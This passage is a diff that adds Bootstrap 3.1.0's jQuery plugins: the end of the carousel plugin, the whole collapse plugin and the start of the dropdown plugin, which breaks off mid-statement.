(options.interval) data.pause().cycle() + }) + } + + $.fn.carousel.Constructor = Carousel + + + // CAROUSEL NO CONFLICT + // ==================== + + $.fn.carousel.noConflict = function () { + $.fn.carousel = old + return this + } + + + // CAROUSEL DATA-API + // ================= + + $(document).on('click.bs.carousel.data-api', '[data-slide], [data-slide-to]', function (e) { + var $this = $(this), href + var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) //strip for ie7 + var options = $.extend({}, $target.data(), $this.data()) + var slideIndex = $this.attr('data-slide-to') + if (slideIndex) options.interval = false + + $target.carousel(options) + + if (slideIndex = $this.attr('data-slide-to')) { + $target.data('bs.carousel').to(slideIndex) + } + + e.preventDefault() + }) + + $(window).on('load', function () { + $('[data-ride="carousel"]').each(function () { + var $carousel = $(this) + $carousel.carousel($carousel.data()) + }) + }) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: collapse.js v3.1.0 + * http://getbootstrap.com/javascript/#collapse + * ======================================================================== + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // COLLAPSE PUBLIC CLASS DEFINITION + // ================================ + + var Collapse = function (element, options) { + this.$element = $(element) + this.options = $.extend({}, Collapse.DEFAULTS, options) + this.transitioning = null + + if (this.options.parent) this.$parent = $(this.options.parent) + if (this.options.toggle) this.toggle() + } + + Collapse.DEFAULTS = { + toggle: true + } + + Collapse.prototype.dimension = function () { + var hasWidth = this.$element.hasClass('width') + return hasWidth ? 'width' : 'height' + } + + Collapse.prototype.show = function () { + if (this.transitioning || this.$element.hasClass('in')) return + + var startEvent = $.Event('show.bs.collapse') + this.$element.trigger(startEvent) + if (startEvent.isDefaultPrevented()) return + + var actives = this.$parent && this.$parent.find('> .panel > .in') + + if (actives && actives.length) { + var hasData = actives.data('bs.collapse') + if (hasData && hasData.transitioning) return + actives.collapse('hide') + hasData || actives.data('bs.collapse', null) + } + + var dimension = this.dimension() + + this.$element + .removeClass('collapse') + .addClass('collapsing') + [dimension](0) + + this.transitioning = 1 + + var complete = function () { + this.$element + .removeClass('collapsing') + .addClass('collapse in') + [dimension]('auto') + this.transitioning = 0 + this.$element.trigger('shown.bs.collapse') + } + + if (!$.support.transition) return complete.call(this) + + var scrollSize = $.camelCase(['scroll', dimension].join('-')) + + this.$element + .one($.support.transition.end, $.proxy(complete, this)) + .emulateTransitionEnd(350) + [dimension](this.$element[0][scrollSize]) + } + + Collapse.prototype.hide = function () { + if (this.transitioning || !this.$element.hasClass('in')) return + + var startEvent = $.Event('hide.bs.collapse') + this.$element.trigger(startEvent) + if (startEvent.isDefaultPrevented()) return + + var dimension = this.dimension() + + this.$element + [dimension](this.$element[dimension]()) + [0].offsetHeight + + this.$element + .addClass('collapsing') + .removeClass('collapse') + .removeClass('in') + + this.transitioning = 1 + + var complete = function () { + this.transitioning = 0 + this.$element + .trigger('hidden.bs.collapse') + .removeClass('collapsing') + .addClass('collapse') + } + + if (!$.support.transition) return complete.call(this) + + this.$element + [dimension](0) + .one($.support.transition.end, $.proxy(complete, this)) + .emulateTransitionEnd(350) + } + + Collapse.prototype.toggle = function () { + this[this.$element.hasClass('in') ? 'hide' : 'show']() + } + + + // COLLAPSE PLUGIN DEFINITION + // ========================== + + var old = $.fn.collapse + + $.fn.collapse = function (option) { + return this.each(function () { + var $this = $(this) + var data = $this.data('bs.collapse') + var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option) + + if (!data && options.toggle && option == 'show') option = !option + if (!data) $this.data('bs.collapse', (data = new Collapse(this, options))) + if (typeof option == 'string') data[option]() + }) + } + + $.fn.collapse.Constructor = Collapse + + + // COLLAPSE NO CONFLICT + // ==================== + + $.fn.collapse.noConflict = function () { + $.fn.collapse = old + return this + } + + + // COLLAPSE DATA-API + // ================= + + $(document).on('click.bs.collapse.data-api', '[data-toggle=collapse]', function (e) { + var $this = $(this), href + var target = $this.attr('data-target') + || e.preventDefault() + || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') //strip for ie7 + var $target = $(target) + var data = $target.data('bs.collapse') + var option = data ? 'toggle' : $this.data() + var parent = $this.attr('data-parent') + var $parent = parent && $(parent) + + if (!data || !data.transitioning) { + if ($parent) $parent.find('[data-toggle=collapse][data-parent="' + parent + '"]').not($this).addClass('collapsed') + $this[$target.hasClass('in') ? 'addClass' : 'removeClass']('collapsed') + } + + $target.collapse(option) + }) + +}(jQuery); + +/* ======================================================================== + * Bootstrap: dropdown.js v3.1.0 + * http://getbootstrap.com/javascript/#dropdowns + * ======================================================================== + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * ======================================================================== */ + + ++function ($) { + 'use strict'; + + // DROPDOWN CLASS DEFINITION + // ========================= + + var backdrop = '.dropdown-backdrop' + var toggle = '[data-toggle=dropdown]' + var Dropdown = function (element) { + $(element).on('click.bs.dropdown', this.toggle) + } + + Dropdown.prototype.toggle = function (e) { + var $this = $(this) + + if ($this.is('.disabled, :disabled')) return + + var $parent = getParent($this) + var isActive = $parent.hasClass('open') + + clearMenus() + + if (!isActive) { + if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) { + // if mobile we use a backdrop because click events don't delegate + $('